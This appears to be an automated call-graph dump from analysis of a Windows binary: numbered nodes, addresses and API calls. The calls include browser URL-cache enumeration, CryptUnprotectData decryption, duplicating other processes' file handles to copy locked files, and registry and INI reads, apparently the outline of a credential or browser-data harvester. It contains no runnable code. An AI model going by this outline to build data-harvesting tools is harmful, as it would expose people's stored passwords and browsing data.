38667 40b732 wcsrchr 38666->38667 38668 40b743 38667->38668 38669 40b746 memset 38667->38669 38668->38669 38670 40b2cc 27 API calls 38669->38670 38671 40b76f 38670->38671 38672 409d1f 6 API calls 38671->38672 38673 40b783 38672->38673 39194 409b98 GetFileAttributesW 38673->39194 38675 40b792 38677 409c70 2 API calls 38675->38677 38689 40b7c2 38675->38689 38679 40b7a5 38677->38679 38682 40b2cc 27 API calls 38679->38682 38680 40b837 CloseHandle 38685 40b83e memset 38680->38685 38681 40b817 39278 409a45 GetTempPathW 38681->39278 38683 40b7b2 38682->38683 38686 409d1f 6 API calls 38683->38686 39228 40a6e6 WideCharToMultiByte 38685->39228 38686->38689 38687 40b827 38687->38685 39195 40bb98 38689->39195 38690 40b866 39229 444432 38690->39229 38693 40bad5 38696 40b04b ??3@YAXPAX 38693->38696 38694 40b273 27 API calls 38695 40b89a 38694->38695 39275 438552 38695->39275 38698 40baf3 38696->38698 38698->38276 38700 40bacd 39309 443d90 110 API calls 38700->39309 38703 40bac6 39308 424f26 122 API calls 38703->39308 38704 40b8bd memset 39299 425413 17 API calls 38704->39299 38707 425413 17 API calls 38725 40b8b8 38707->38725 38710 40a71b MultiByteToWideChar 38710->38725 38711 40a734 MultiByteToWideChar 38711->38725 38714 40b9b5 memcmp 38714->38725 38715 4099c6 2 API calls 38715->38725 38716 404423 37 API calls 38716->38725 38719 4251c4 136 API calls 38719->38725 38720 40bb3e memset memcpy 39310 40a734 MultiByteToWideChar 38720->39310 38722 40bb88 LocalFree 38722->38725 38725->38703 38725->38704 38725->38707 38725->38710 38725->38711 38725->38714 38725->38715 38725->38716 38725->38719 38725->38720 38726 40ba5f memcmp 38725->38726 39300 4253ef 16 API calls 38725->39300 39301 40b64c SystemTimeToFileTime FileTimeToLocalFileTime 38725->39301 39302 4253af 17 API calls 38725->39302 39303 4253cf 17 API calls 38725->39303 39304 447280 memset 38725->39304 39305 447960 memset memcpy memcpy memcpy 38725->39305 39306 40afe8 ??2@YAPAXI memcpy ??3@YAXPAX 38725->39306 39307 447920 memcpy memcpy memcpy 38725->39307 38726->38725 38727->38278 38729 40aebe FindClose 38728->38729 38730 40ae21 38729->38730 38731 4099c6 2 API calls 38730->38731 38732 40ae35 38731->38732 38733 409d1f 6 API calls 38732->38733 38734 40ae49 38733->38734 38734->38341 38736 40ade0 38735->38736 38739 40ae0f 38735->38739 38737 40ade7 wcscmp 38736->38737 38736->38739 38738 40adfe wcscmp 38737->38738 38737->38739 38738->38739 38739->38341 38741 40ae7b FindNextFileW 38740->38741 38742 40ae5c FindFirstFileW 38740->38742 38743 40ae94 38741->38743 38744 40ae8f 38741->38744 38742->38743 38746 40aeb6 38743->38746 38747 409d1f 6 API calls 38743->38747 38745 40aebe FindClose 38744->38745 38745->38743 38746->38341 38747->38746 38749 40aed1 38748->38749 38750 40aec7 FindClose 38748->38750 38749->38203 38750->38749 38752 4099d7 38751->38752 38753 4099da memcpy 38751->38753 38752->38753 38753->38252 38755 40b2cc 27 API calls 38754->38755 38756 44543f 38755->38756 38757 409d1f 6 API calls 38756->38757 38758 44544f 38757->38758 39668 409b98 GetFileAttributesW 38758->39668 38760 44545e 38761 445476 38760->38761 38762 40b6ef 249 API calls 38760->38762 38763 40b2cc 27 API calls 38761->38763 38762->38761 38764 445482 38763->38764 38765 409d1f 6 API calls 38764->38765 38766 445492 38765->38766 39669 409b98 GetFileAttributesW 38766->39669 38768 4454a1 38769 4454b9 38768->38769 38770 40b6ef 249 API calls 38768->38770 38769->38280 38770->38769 38771->38279 38772->38303 38773->38309 38774->38344 38775->38324 38776->38374 38777->38374 38778->38355 38779->38385 38780->38387 38781->38389 38783 414c2e 16 API calls 38782->38783 38784 40c2ae 38783->38784 38840 40c1d3 38784->38840 38789 40c3be 38806 40a8ab 38789->38806 38790 40afcf 2 API calls 38791 40c2fd FindFirstUrlCacheEntryW 38790->38791 38792 40c3b6 38791->38792 38793 40c31e wcschr 38791->38793 38794 40b04b ??3@YAXPAX 38792->38794 38795 40c331 38793->38795 38796 40c35e FindNextUrlCacheEntryW 38793->38796 38794->38789 38798 40a8ab 9 API calls 38795->38798 38796->38793 38797 40c373 GetLastError 38796->38797 38799 40c3ad FindCloseUrlCache 38797->38799 38800 40c37e 38797->38800 38801 40c33e wcschr 38798->38801 38799->38792 38802 40afcf 2 API calls 38800->38802 38801->38796 38803 40c34f 38801->38803 38805 40c391 FindNextUrlCacheEntryW 38802->38805 38804 40a8ab 9 API calls 38803->38804 38804->38796 38805->38793 38805->38799 38934 40a97a 38806->38934 38809 40a8cc 38809->38396 38810 40a8d0 7 API calls 38810->38809 38939 40b1ab ??3@YAXPAX ??3@YAXPAX 38811->38939 38813 40c3dd 38814 40b2cc 27 API calls 38813->38814 38815 40c3e7 38814->38815 38940 414592 RegOpenKeyExW 38815->38940 38817 40c3f4 38818 40c50e 38817->38818 38819 40c3ff 38817->38819 38833 405337 38818->38833 38820 40a9ce 4 API calls 38819->38820 38821 40c418 memset 38820->38821 38941 40aa1d 38821->38941 38824 40c471 38826 40c47a _wcsupr 38824->38826 38825 40c505 RegCloseKey 38825->38818 38827 40a8d0 7 API calls 38826->38827 38828 40c498 38827->38828 38829 40a8d0 7 API calls 38828->38829 38830 40c4ac memset 38829->38830 38831 40aa1d 38830->38831 38832 40c4e4 RegEnumValueW 38831->38832 38832->38825 38832->38826 38943 405220 38833->38943 38835 405340 38835->38410 38836->38407 38837->38409 38838->38410 38839->38403 38841 40ae18 9 API calls 38840->38841 38847 40c210 38841->38847 38842 40ae51 9 API calls 38842->38847 38843 40c264 38844 40aebe FindClose 38843->38844 38846 40c26f 38844->38846 38845 40add4 2 API calls 38845->38847 38852 40e5ed memset memset 38846->38852 38847->38842 38847->38843 38847->38845 38848 40c231 _wcsicmp 38847->38848 38850 40c1d3 34 API calls 38847->38850 38848->38847 38849 40c248 38848->38849 38865 40c084 21 API calls 38849->38865 38850->38847 38853 414c2e 16 API calls 38852->38853 38854 40e63f 38853->38854 38855 409d1f 6 API calls 38854->38855 38856 40e658 38855->38856 38866 409b98 GetFileAttributesW 38856->38866 38858 40e667 38859 409d1f 6 API calls 38858->38859 38861 40e680 38858->38861 38859->38861 38867 409b98 GetFileAttributesW 38861->38867 38862 40e68f 38863 40c2d8 38862->38863 38868 40e4b2 38862->38868 38863->38789 38863->38790 38865->38847 38866->38858 38867->38862 38889 40e01e 38868->38889 38870 40e593 38871 40e5b0 38870->38871 38872 40e59c DeleteFileW 38870->38872 38873 40b04b ??3@YAXPAX 38871->38873 38872->38871 38875 40e5bb 38873->38875 38874 40e521 38874->38870 38912 40e175 38874->38912 38877 40e5c4 CloseHandle 38875->38877 38878 40e5cc 38875->38878 38877->38878 38880 40b633 ??3@YAXPAX 38878->38880 38879 40e573 38882 40e584 38879->38882 38883 40e57c CloseHandle 38879->38883 38881 40e5db 38880->38881 38884 40b633 ??3@YAXPAX 38881->38884 38933 40b1ab ??3@YAXPAX ??3@YAXPAX 38882->38933 38883->38882 38886 40e5e3 38884->38886 38886->38863 38888 40e540 38888->38879 38932 40e2ab 30 API calls 38888->38932 38890 406214 22 API calls 38889->38890 38891 40e03c 38890->38891 38892 40e16b 38891->38892 38893 40dd85 60 API calls 38891->38893 38892->38874 38894 40e06b 38893->38894 38894->38892 38895 40afcf ??2@YAPAXI ??3@YAXPAX 38894->38895 38896 40e08d OpenProcess 38895->38896 38897 40e0a4 GetCurrentProcess DuplicateHandle 38896->38897 38901 40e152 38896->38901 38898 40e0d0 GetFileSize 38897->38898 38899 40e14a CloseHandle 38897->38899 38902 409a45 GetTempPathW GetWindowsDirectoryW GetTempFileNameW 38898->38902 38899->38901 38900 40e160 38904 40b04b ??3@YAXPAX 38900->38904 38901->38900 38903 406214 22 API calls 38901->38903 38905 40e0ea 38902->38905 38903->38900 38904->38892 38906 4096dc CreateFileW 38905->38906 38907 40e0f1 CreateFileMappingW 38906->38907 38908 40e140 CloseHandle CloseHandle 38907->38908 38909 40e10b MapViewOfFile 38907->38909 38908->38899 38910 40e13b CloseHandle 38909->38910 38911 40e11f WriteFile UnmapViewOfFile 38909->38911 38910->38908 38911->38910 38913 40e18c 38912->38913 38914 406b90 11 API calls 38913->38914 38915 40e19f 38914->38915 38916 40e1a7 memset 38915->38916 38917 40e299 38915->38917 38922 40e1e8 38916->38922 38918 4069a3 ??3@YAXPAX ??3@YAXPAX 38917->38918 38919 40e2a4 38918->38919 38919->38888 38920 406e8f 13 API calls 38920->38922 38921 406b53 SetFilePointerEx ReadFile 38921->38922 38922->38920 38922->38921 38923 40e283 38922->38923 38924 40dd50 _wcsicmp 38922->38924 38928 40742e 8 API calls 38922->38928 38929 40aae3 wcslen wcslen _memicmp 38922->38929 38930 40e244 _snwprintf 38922->38930 38925 40e291 38923->38925 38926 40e288 ??3@YAXPAX 38923->38926 38924->38922 38927 40aa04 ??3@YAXPAX 38925->38927 38926->38925 38927->38917 38928->38922 38929->38922 38931 40a8d0 7 API calls 38930->38931 38931->38922 38932->38888 38933->38870 38936 40a980 38934->38936 38935 40a8bb 38935->38809 38935->38810 38936->38935 38937 40a995 _wcsicmp 38936->38937 38938 40a99c wcscmp 38936->38938 38937->38936 38938->38936 38939->38813 38940->38817 38942 40aa23 RegEnumValueW 38941->38942 38942->38824 38942->38825 38944 40522a 38943->38944 38969 405329 38943->38969 38945 40b2cc 27 API calls 38944->38945 38946 405234 38945->38946 38947 40a804 8 API calls 38946->38947 38948 40523a 38947->38948 38970 40b273 38948->38970 38950 405248 _mbscpy _mbscat 38951 40526c 38950->38951 38952 40b273 27 API calls 38951->38952 38953 405279 38952->38953 38954 40b273 27 API calls 38953->38954 38955 40528f 38954->38955 38956 40b273 27 API calls 38955->38956 38957 4052a5 38956->38957 38958 40b273 27 API calls 38957->38958 38959 4052bb 38958->38959 38960 40b273 27 API calls 38959->38960 38961 4052d1 38960->38961 38962 40b273 27 API calls 38961->38962 38963 4052e7 38962->38963 38964 40b273 27 API calls 38963->38964 38965 4052fd 38964->38965 38966 40b273 27 API calls 38965->38966 38967 405313 38966->38967 38968 40b273 27 API calls 38967->38968 38968->38969 38969->38835 38971 40b58d 27 API calls 38970->38971 38972 40b18c 38971->38972 38972->38950 38974 40440c FreeLibrary 38973->38974 38975 40436d 38974->38975 38976 40a804 8 API calls 38975->38976 38977 404377 38976->38977 38978 4043f7 38977->38978 38979 40b273 27 API calls 38977->38979 38978->38417 38978->38419 38980 40438d 38979->38980 38981 40b273 27 API calls 38980->38981 38982 4043a7 38981->38982 38983 40b273 27 API calls 38982->38983 38984 4043ba 38983->38984 38985 40b273 27 API calls 38984->38985 38986 4043ce 38985->38986 38987 40b273 27 API calls 38986->38987 38988 4043e2 38987->38988 38988->38978 38989 40440c FreeLibrary 38988->38989 38989->38978 38991 404413 FreeLibrary 38990->38991 38992 40441e 38990->38992 38991->38992 38992->38430 38993->38427 38995 40447e 38994->38995 38996 40442e 38994->38996 38997 404485 CryptUnprotectData 38995->38997 38998 40449c 38995->38998 38999 40b2cc 27 API calls 38996->38999 38997->38998 38998->38427 39000 404438 38999->39000 39001 40a804 8 API calls 39000->39001 39002 40443e 39001->39002 39003 40444f 39002->39003 39004 40b273 27 API calls 39002->39004 39003->38995 39005 404475 FreeLibrary 39003->39005 39004->39003 39005->38995 39007 4135f6 39006->39007 39008 4135eb FreeLibrary 39006->39008 39007->38433 39008->39007 39010 4449c4 39009->39010 39028 444a48 39009->39028 39011 40b2cc 27 API calls 39010->39011 39012 4449cb 39011->39012 39013 40a804 8 API calls 39012->39013 39014 4449d1 39013->39014 39015 40b273 27 API calls 39014->39015 39016 4449dc 39015->39016 39017 40b273 27 API calls 39016->39017 39018 4449f3 39017->39018 39019 40b273 27 API calls 39018->39019 39020 444a04 39019->39020 39021 40b273 27 API calls 39020->39021 39022 444a15 39021->39022 39023 40b273 27 API calls 39022->39023 39024 444a26 39023->39024 39025 40b273 27 API calls 39024->39025 39026 444a37 39025->39026 39027 40b273 27 API calls 39026->39027 39027->39028 39028->38453 39028->38454 39029->38459 39030->38459 39031->38459 39032->38459 39033->38455 39035 403a29 39034->39035 39049 403bed memset memset 39035->39049 39037 403ae7 39062 40b1ab ??3@YAXPAX ??3@YAXPAX 39037->39062 39038 403a3f memset 39042 403a2f 39038->39042 39040 403aef 39040->38472 39041 409d1f 6 API calls 39041->39042 39042->39037 39042->39038 39042->39041 39043 409b98 GetFileAttributesW 39042->39043 39044 40a8d0 7 API calls 39042->39044 39043->39042 39044->39042 39046 40a051 GetFileTime CloseHandle 39045->39046 39047 4039ca CompareFileTime 39045->39047 39046->39047 39047->38472 39048->38471 39050 414c2e 16 API calls 39049->39050 39051 403c38 39050->39051 39052 409719 2 API calls 39051->39052 39053 403c3f wcscat 39052->39053 39054 414c2e 16 API calls 39053->39054 39055 403c61 39054->39055 39056 409719 2 API calls 39055->39056 39057 403c68 wcscat 39056->39057 39063 403af5 39057->39063 39060 403af5 20 API calls 39061 403c95 39060->39061 39061->39042 39062->39040 39064 403b02 39063->39064 39065 40ae18 9 API calls 39064->39065 39074 403b37 39065->39074 39066 403bdb 39068 40aebe FindClose 39066->39068 39067 40add4 wcscmp wcscmp 39067->39074 39069 403be6 39068->39069 39069->39060 39070 40a8d0 7 API calls 39070->39074 39071 40ae18 9 API calls 39071->39074 39072 40ae51 9 API calls 39072->39074 39073 40aebe FindClose 39073->39074 39074->39066 39074->39067 39074->39070 39074->39071 39074->39072 39074->39073 39076 409d1f 6 API calls 39075->39076 39077 404190 39076->39077 39090 409b98 GetFileAttributesW 39077->39090 39079 40419c 39080 4041a7 6 API calls 39079->39080 39081 40435c 39079->39081 39082 40424f 39080->39082 39081->38498 39082->39081 39084 40425e memset 39082->39084 39086 409d1f 6 API calls 39082->39086 39087 40a8ab 9 API calls 39082->39087 39091 414842 39082->39091 39084->39082 39085 404296 wcscpy 39084->39085 39085->39082 39086->39082 39088 4042b6 memset memset _snwprintf wcscpy 39087->39088 39088->39082 39089->38496 39090->39079 39094 41443e 39091->39094 39093 414866 39093->39082 39095 41444b 39094->39095 39096 414451 39095->39096 39097 4144a3 GetPrivateProfileStringW 39095->39097 39098 414491 39096->39098 39099 414455 wcschr 39096->39099 39097->39093 39101 414495 WritePrivateProfileStringW 39098->39101 39099->39098 39100 414463 _snwprintf 39099->39100 39100->39101 39101->39093 39102->38502 39104 40b2cc 27 API calls 39103->39104 39105 409615 39104->39105 39106 409d1f 6 API calls 39105->39106 39107 409625 39106->39107 39130 409b98 GetFileAttributesW 39107->39130 39109 409634 39110 409648 39109->39110 39147 4091b8 238 API calls 39109->39147 39112 40b2cc 27 API calls 39110->39112 39114 408801 39110->39114 39113 40965d 39112->39113 39115 409d1f 6 API calls 39113->39115 39114->38505 39114->38537 39116 40966d 39115->39116 39131 409b98 GetFileAttributesW 39116->39131 39118 40967c 39118->39114 39132 409529 39118->39132 39120->38527 39121->38537 39122->38532 39123->38537 39124->38538 39125->38539 39126->38543 39127->38545 39128->38548 39129->38537 39130->39109 39131->39118 39148 4096c3 CreateFileW 39132->39148 39134 409543 39135 4095cd 39134->39135 39136 409550 GetFileSize 39134->39136 39135->39114 39137 409577 CloseHandle 39136->39137 39138 40955f 39136->39138 39137->39135 39143 409585 39137->39143 39139 40afcf 2 API calls 39138->39139 39140 409569 39139->39140 39149 40a2ef ReadFile 39140->39149 39142 409574 39142->39137 39143->39135 39144 4095c3 39143->39144 39150 408b8d 38 API calls 39143->39150 39151 40908b 55 API calls 39144->39151 39147->39110 39148->39134 39149->39142 39150->39143 39151->39135 39179 413f4f 39152->39179 39155 413f37 K32GetModuleFileNameExW 39156 413f4a 39155->39156 39156->38566 39158 413969 wcscpy 39157->39158 39159 41396c wcschr 39157->39159 39171 413a3a 39158->39171 39159->39158 39161 41398e 39159->39161 39183 4097f7 wcslen wcslen _memicmp 39161->39183 39163 41399a 39164 4139a4 memset 39163->39164 39165 4139e6 39163->39165 39184 409dd5 GetWindowsDirectoryW wcscpy 39164->39184 39167 413a31 wcscpy 39165->39167 39168 4139ec memset 39165->39168 39167->39171 39185 409dd5 GetWindowsDirectoryW wcscpy 39168->39185 39169 4139c9 wcscpy wcscat 39169->39171 39171->38566 39172 413a11 memcpy wcscat 39172->39171 39174 413cb0 GetModuleHandleW 39173->39174 39175 413cda 39173->39175 39174->39175 39176 413cbf 39174->39176 39177 413ce3 GetProcessTimes 39175->39177 39178 413cf6 39175->39178 39176->39175 39177->38568 39178->38568 39180 413f54 39179->39180 39182 413f2f 39179->39182 39181 40a804 8 API calls 39180->39181 39181->39182 39182->39155 39182->39156 39183->39163 39184->39169 39185->39172 39186->38588 39187->38611 39189 409cf9 GetVersionExW 39188->39189 39190 409d0a 39188->39190 39189->39190 39190->38618 39190->38622 39191->38625 39192->38628 39193->38630 39194->38675 39196 40bba5 39195->39196 39311 40cc26 39196->39311 39199 40bd4b 39332 40cc0c 39199->39332 39204 40b2cc 27 API calls 39205 40bbef 39204->39205 39339 40ccf0 _wcsicmp 39205->39339 39207 40bbf5 39207->39199 39340 40ccb4 6 API calls 39207->39340 39209 40bc26 39210 40cf04 17 API calls 39209->39210 39211 40bc2e 39210->39211 39212 40bd43 39211->39212 39214 40b2cc 27 API calls 39211->39214 39213 40cc0c 4 API calls 39212->39213 39213->39199 39215 40bc40 39214->39215 39341 40ccf0 _wcsicmp 39215->39341 39217 40bc46 39217->39212 39218 40bc61 memset memset WideCharToMultiByte 39217->39218 39342 40103c strlen 39218->39342 39220 40bcc0 39221 40b273 27 API calls 39220->39221 39222 40bcd0 memcmp 39221->39222 39222->39212 39223 40bce2 39222->39223 39224 404423 37 API calls 39223->39224 39225 40bd10 39224->39225 39225->39212 39226 40bd3a LocalFree 39225->39226 39227 40bd1f memcpy 39225->39227 39226->39212 39227->39226 39228->38690 39402 4438b5 39229->39402 39231 44444c 39232 40b879 39231->39232 39416 415a6d 39231->39416 39232->38693 39232->38694 39235 444486 39237 4444b9 memcpy 39235->39237 39274 4444a4 39235->39274 39236 44469e 39236->39232 39467 443d90 110 API calls 39236->39467 39420 415258 39237->39420 39240 444524 39241 444541 39240->39241 39242 44452a 39240->39242 39423 444316 39241->39423 39457 416935 16 API calls 39242->39457 39246 444316 18 API calls 39247 444563 39246->39247 39248 444316 18 API calls 39247->39248 39249 44456f 39248->39249 39250 444316 18 API calls 39249->39250 39251 44457f 39250->39251 39251->39274 39437 432d4e 39251->39437 39254 444316 18 API calls 39255 4445b0 39254->39255 39441 41eed2 39255->39441 39257 4445cf 39258 4445d6 39257->39258 39259 4445ee 39257->39259 39458 416935 16 API calls 39258->39458 39459 43302c memset 39259->39459 39261 4445fa 39460 43302c memset 39261->39460 39264 444609 39264->39274 39461 416935 16 API calls 39264->39461 39266 444646 39462 434d4b 17 API calls 39266->39462 39268 44464d 39463 437655 16 API calls 39268->39463 39270 444653 39464 4442e6 11 API calls 39270->39464 39272 44465d 39272->39274 39465 416935 16 API calls 39272->39465 39466 4442e6 11 API calls 39274->39466 39505 438460 39275->39505 39277 40b8a4 39277->38700 39281 4251c4 39277->39281 39279 409a74 GetTempFileNameW 39278->39279 39280 409a66 GetWindowsDirectoryW 39278->39280 39279->38687 39280->39279 39602 424f07 11 API calls 39281->39602 39283 4251e4 39284 4251f7 39283->39284 39285 4251e8 39283->39285 39604 4250f8 39284->39604 39603 4446ea 11 API calls 39285->39603 39287 4251f2 39287->38725 39289 425209 39291 425249 39289->39291 39295 4250f8 126 API calls 39289->39295 39296 425287 39289->39296 39612 4384e9 134 API calls 39289->39612 39613 424f74 123 API calls 39289->39613 39291->39296 39614 424ff0 13 API calls 39291->39614 39295->39289 39616 415c7d 16 API calls 39296->39616 39297 425266 39297->39296 39615 415be9 memcpy 39297->39615 39299->38725 39300->38725 39301->38725 39302->38725 39303->38725 39304->38725 39305->38725 39306->38725 39307->38725 39308->38700 39309->38693 39310->38722 39343 4096c3 CreateFileW 39311->39343 39313 40cc34 39314 40cc3d GetFileSize 39313->39314 39315 40bbca 39313->39315 39316 40afcf 2 API calls 39314->39316 39315->39199 39323 40cf04 39315->39323 39317 40cc64 39316->39317 39344 40a2ef ReadFile 39317->39344 39319 40cc71 39345 40ab4a MultiByteToWideChar 39319->39345 39321 40cc95 CloseHandle 39322 40b04b ??3@YAXPAX 39321->39322 39322->39315 39324 40b633 ??3@YAXPAX 39323->39324 39325 40cf14 39324->39325 39351 40b1ab ??3@YAXPAX ??3@YAXPAX 39325->39351 39327 40bbdd 39327->39199 39327->39204 39328 40cf1b 39328->39327 39330 40cfef 39328->39330 39352 40cd4b 39328->39352 39331 40cd4b 14 API calls 39330->39331 39331->39327 39333 40b633 ??3@YAXPAX 39332->39333 39334 40cc15 39333->39334 39335 40aa04 ??3@YAXPAX 39334->39335 39336 40cc1d 39335->39336 39401 40b1ab ??3@YAXPAX ??3@YAXPAX 39336->39401 39338 40b7d4 memset CreateFileW 39338->38680 39338->38681 39339->39207 39340->39209 39341->39217 39342->39220 39343->39313 39344->39319 39346 40ab93 39345->39346 39347 40ab6b 39345->39347 39346->39321 39348 40a9ce 4 API calls 39347->39348 39349 40ab74 39348->39349 39350 40ab7c MultiByteToWideChar 39349->39350 39350->39346 39351->39328 39353 40cd7b 39352->39353 39386 40aa29 39353->39386 39355 40cef5 39356 40aa04 ??3@YAXPAX 39355->39356 39357 40cefd 39356->39357 39357->39328 39359 40aa29 6 API calls 39360 40ce1d 39359->39360 39361 40aa29 6 API calls 39360->39361 39362 40ce3e 39361->39362 39363 40ce6a 39362->39363 39394 40abb7 wcslen memmove 39362->39394 39364 40ce9f 39363->39364 39397 40abb7 wcslen memmove 39363->39397 39367 40a8d0 7 API calls 39364->39367 39370 40ceb5 39367->39370 39368 40ce56 39395 40aa71 wcslen 39368->39395 39369 40ce8b 39398 40aa71 wcslen 39369->39398 39376 40a8d0 7 API calls 39370->39376 39373 40ce5e 39396 40abb7 wcslen memmove 39373->39396 39374 40ce93 39399 40abb7 wcslen memmove 39374->39399 39377 40cecb 39376->39377 39400 40d00b malloc memcpy ??3@YAXPAX ??3@YAXPAX 39377->39400 39380 40cedd 39381 40aa04 ??3@YAXPAX 39380->39381 39382 40cee5 39381->39382 39383 40aa04 ??3@YAXPAX 39382->39383 39384 40ceed 39383->39384 39385 40aa04 ??3@YAXPAX 39384->39385 39385->39355 39387 40aa33 39386->39387 39393 40aa63 39386->39393 39388 40aa44 39387->39388 39389 40aa38 wcslen 39387->39389 39390 40a9ce malloc memcpy ??3@YAXPAX ??3@YAXPAX 39388->39390 39389->39388 39391 40aa4d 39390->39391 39392 40aa51 memcpy 39391->39392 39391->39393 39392->39393 39393->39355 39393->39359 39394->39368 39395->39373 39396->39363 39397->39369 39398->39374 39399->39364 39400->39380 39401->39338 39403 4438d0 39402->39403 39413 4438c9 39402->39413 39468 415378 memcpy memcpy 39403->39468 39413->39231 39417 415a77 39416->39417 39418 415a8d 39417->39418 39419 415a7e memset 39417->39419 39418->39235 39419->39418 39421 4438b5 11 API calls 39420->39421 39422 41525d 39421->39422 39422->39240 39424 444328 39423->39424 39425 444423 39424->39425 39426 44434e 39424->39426 39471 4446ea 11 API calls 39425->39471 39428 432d4e 3 API calls 39426->39428 39429 44435a 39428->39429 39431 444375 39429->39431 39436 44438b 39429->39436 39430 432d4e 3 API calls 39432 4443ec 39430->39432 39469 416935 16 API calls 39431->39469 39434 444381 39432->39434 39470 416935 16 API calls 39432->39470 39434->39246 39436->39430 39438 432d58 39437->39438 39440 432d65 39437->39440 39472 432cc4 memset memset memcpy 39438->39472 39440->39254 39442 41eee2 39441->39442 39443 415a6d memset 39442->39443 39444 41ef23 39443->39444 39445 415a6d memset 39444->39445 39456 41ef2d 39444->39456 39446 41ef42 39445->39446 39450 41ef49 39446->39450 39473 41b7d9 39446->39473 39448 41ef66 39449 41ef74 memset 39448->39449 39448->39450 39452 41ef91 39449->39452 39454 41ef9e 39449->39454 39450->39456 39491 41b321 100 API calls 39450->39491 39487 41519d 39452->39487 39454->39450 39490 41b1ca memset __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 39454->39490 39456->39257 39457->39274 39458->39274 39459->39261 39460->39264 39461->39266 39462->39268 39463->39270 39464->39272 39465->39274 39466->39236 39467->39232 39469->39434 39470->39434 39471->39434 39472->39440 39479 41b812 39473->39479 39474 415a6d memset 39475 41b8c2 39474->39475 39476 41b980 39475->39476 39477 41b902 memcpy memcpy memcpy memcpy memcpy 39475->39477 39483 41b849 39475->39483 39484 41b9ad 39476->39484 39493 4151e3 39476->39493 39477->39476 39479->39483 39486 41b884 39479->39486 39492 444706 11 API calls 39479->39492 39481 41ba12 39482 41ba32 memset 39481->39482 39481->39483 39482->39483 39483->39448 39484->39483 39496 41b1ca memset __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 39484->39496 39486->39474 39486->39483 39497 4175ed 39487->39497 39490->39450 39491->39456 39492->39486 39495 41837f 54 API calls 39493->39495 39494 4151f9 39494->39484 39495->39494 39496->39481 39498 417570 SetFilePointer GetLastError GetLastError 39497->39498 39499 4175ff 39498->39499 39500 41760a ReadFile 39499->39500 39501 4151b3 39499->39501 39502 417637 39500->39502 39503 417627 GetLastError 39500->39503 39501->39454 39502->39501 39504 41763e memset 39502->39504 39503->39501 39504->39501 39517 41703f 39505->39517 39507 43847a 39508 43848a 39507->39508 39509 43847e 39507->39509 39524 438270 39508->39524 39554 4446ea 11 API calls 39509->39554 39514 4384bb 39515 438270 133 API calls 39514->39515 39516 438488 39515->39516 39516->39277 39518 417044 39517->39518 39519 41705c 39517->39519 39523 417055 39518->39523 39556 416760 11 API calls 39518->39556 39520 417075 39519->39520 39557 41707a 11 API calls 39519->39557 39520->39507 39523->39507 39558 415a91 39524->39558 39526 43828d 39527 438297 39526->39527 39528 438341 39526->39528 39530 4382d6 39526->39530 39601 415c7d 16 API calls 39527->39601 39562 44358f 39528->39562 39532 4382fb 39530->39532 39533 4382db 39530->39533 39595 415c23 memcpy 39532->39595 39593 416935 16 API calls 39533->39593 39534 438458 39534->39516 39555 424f26 122 API calls 39534->39555 39537 4382e9 39594 415c7d 16 API calls 39537->39594 39538 438305 39541 44358f 19 API calls 39538->39541 39544 438318 39538->39544 39540 438373 39543 438383 39540->39543 39596 4300e8 memset memset memcpy 39540->39596 39541->39544 39547 4383cd 39543->39547 39597 415c23 memcpy 39543->39597 39544->39540 39588 43819e 39544->39588 39546 4383f5 39550 438404 39546->39550 39551 43841c 39546->39551 39547->39546 39598 42453e 122 API calls 39547->39598 39599 416935 16 API calls 39550->39599 39600 416935 16 API calls 39551->39600 39554->39516 39555->39514 39556->39523 39557->39518 39559 415a9d 39558->39559 39560 415ab3 39559->39560 39561 415aa4 memset 39559->39561 39560->39526 39561->39560 39563 4435be 39562->39563 39565 443676 39563->39565 39568 4436ce 39563->39568 39571 442ff8 19 API calls 39563->39571 39572 44366c 39563->39572 39586 44360c 39563->39586 39564 443758 39567 441409 memset 39564->39567 39577 443775 39564->39577 39565->39564 39566 443737 39565->39566 39569 442ff8 19 API calls 39565->39569 39570 442ff8 19 API calls 39566->39570 39567->39564 39574 4165ff 11 API calls 39568->39574 39569->39566 39570->39564 39571->39563 39575 4169a7 11 API calls 39572->39575 39573 4437be 39576 416760 11 API calls 39573->39576 39578 4437de 39573->39578 39574->39565 39575->39565 39576->39578 39577->39573 39582 415c56 11 API calls 39577->39582 39579 42463b memset memcpy 39578->39579 39581 443801 39578->39581 39579->39581 39580 443826 39584 43bd08 memset 39580->39584 39581->39580 39583 43024d memset 39581->39583 39582->39573 39583->39580 39585 443837 39584->39585 39585->39586 39587 43024d memset 39585->39587 39586->39544 39587->39585 39589 438246 39588->39589 39591 4381ba 39588->39591 39589->39540 39590 41f432 109 API calls 39590->39591 39591->39589 39591->39590 39592 41f638 103 API calls 39591->39592 39592->39591 39593->39537 39594->39527 39595->39538 39596->39543 39597->39547 39598->39546 39599->39527 39600->39527 39601->39534 39602->39283 39603->39287 39605 425108 39604->39605 39611 42510d 39604->39611 39649 424f74 123 API calls 39605->39649 39608 42516e 39650 415c7d 16 API calls 39608->39650 39609 425115 39609->39289 39611->39609 39617 42569b 39611->39617 39612->39289 39613->39289 39614->39297 39615->39296 39616->39287 39627 4256f1 39617->39627 39645 4259c2 39617->39645 39622 4260dd 39662 424251 119 API calls 39622->39662 39623 429a4d 39630 429a66 39623->39630 39631 429a9b 39623->39631 39627->39623 39628 422aeb memset memcpy memcpy 39627->39628 39634 4260a1 39627->39634 39642 4259da 39627->39642 39643 429ac1 39627->39643 39627->39645 39648 425a38 39627->39648 39651 4227f0 memset memcpy 39627->39651 39652 422b84 15 API calls 39627->39652 39653 422b5d memset memcpy memcpy 39627->39653 39654 422640 13 API calls 39627->39654 39656 4241fc 11 API calls 39627->39656 39657 42413a 89 API calls 39627->39657 39628->39627 39663 415c56 11 API calls 39630->39663 39633 429a96 39631->39633 39665 416760 11 API calls 39631->39665 39666 424251 119 API calls 39633->39666 39660 415c56 11 API calls 39634->39660 39635 429a7a 39664 416760 11 API calls 39635->39664 39661 416760 11 API calls 39642->39661 39644 425ad6 39643->39644 39667 415c56 11 API calls 39643->39667 39644->39608 39645->39644 39655 415c56 11 API calls 39645->39655 39648->39645 39658 422640 13 API calls 39648->39658 39659 4226e0 12 API calls 39648->39659 39649->39611 39650->39609 39651->39627 39652->39627 39653->39627 39654->39627 39655->39642 39656->39627 39657->39627 39658->39648 39659->39648 39660->39642 39661->39622 39662->39644 39663->39635 39664->39633 39665->39633 39666->39643 39667->39642 39668->38760 39669->38768 39670 44dea5 39671 44deb5 FreeLibrary 39670->39671 39672 44dec3 39670->39672 39671->39672 39673 4147f3 39676 414561 39673->39676 